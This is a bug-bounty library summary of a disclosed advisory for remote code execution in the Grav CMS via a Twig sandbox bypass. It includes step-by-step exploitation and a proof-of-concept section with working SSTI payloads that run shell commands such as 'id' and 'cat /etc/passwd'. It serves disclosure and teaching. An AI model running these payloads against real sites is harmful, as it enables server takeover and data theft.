# Grav is vulnerable to RCE via SSTI through Twig Sandbox Bypass

Weak regex in Grav's cleanDangerousTwig lets nested Twig calls inside evaluate_twig bypass the blacklist, giving editors (or guests via form input) arbitrary command execution.

- Payout: Research
- Severity: high
- Program: Grav
- Found by: nakkouchtarek
- Disclosed: 2025-12-02
- CVE: CVE-2025-66294
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-662m-56v4-3r8f
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-662m-56v4-3r8f
- Tags: area:web domain:web impact:privesc impact:rce kind:research platform:ghsa sev:high tech:php technique:chained technique:source-review vuln:access-control vuln:rce vuln:ssti

**Target:** Grav Form plugin process/message action via Twig processString
**Root cause:** clearDangerousTwig uses a single regex that only matches blacklisted function names within one {{ }} / {% %} block, so wrapping the payload inside evaluate_twig() nests the dangerous calls and evades the blacklist; evaluate/evaluate_twig are themselves allowed.
**Steps:**
1. Install Grav with Form and Admin plugins; log in as editor with pages permission.
2. Create/edit a page form and intercept the save request, injecting into `data[_json][header][form]` a form with `process: []` (chained BAC bug GHSA-v8x2-fjv7-8hjh).
3. Set the form process message to `{{ evaluate_twig(form.value('name')) }}` so the Name field is evaluated as Twig.
4. Submit the form with payload `{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefined_functions',false) %} {{ grav.twig.twig.getFunction('id') }}`.
5. Command output is rendered back in the form message.
**How found:** Noticed cleanDangerousTwig's regex only inspects a single Twig block and that evaluate/evaluate_twig are whitelisted; hypothesized nesting the blacklisted calls inside evaluate_twig would evade the regex, verified with a local PHP replica of the sanitizer before testing against a real form.
**Exploitation:** Editor injects a form whose message action pipes user input through evaluate_twig; the nested payload registers 'system' as an undefined-function callback, disables undefined_functions filtering, then calls getFunction('id') to run arbitrary shell commands. If such a form already exists and accepts guest input, an unauthenticated user achieves the same RCE.
**Escalation:** Chained with a Broken Access Control bug allowing a pages-only editor to modify the form's process section, and the same form can be exposed to unauthenticated visitors for guest-to-RCE.
**Insight:** When a template sanitizer blacklists function names via a per-block regex, look for allowed functions (evaluate, evaluate_twig, include) that re-parse their argument as Twig — nesting the payload one level deeper defeats the blacklist. Also check whether the sanitizer is called indirectly by other sinks like processString.

## Proof of concept (copied exactly from the original report)

**Twig sandbox bypass payload executing system command**

```
{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefined_functions',false) %} {{ grav.twig.twig.getFunction('id') }}
```

**Form process message action with evaluate_twig**

```
process:
        -
            message: '{{ evaluate_twig(form.value(''name'')) }}'
```

**PHP harness proving cleanDangerousTwig bypass**

```
php ok.php "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefined_functions',false) %} {{ grav.twig.twig.getFunction('cat /etc/passwd') }}"

Our payload goes through and not one malicious function is filtered:

evaluate_twig('{# {{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} #} {# {% set a = grav.config.set('system.twig.undefined_functions',false) %} #} {# {{ grav.twig.twig.getFunction('cat /etc/passwd') }} #}')
```

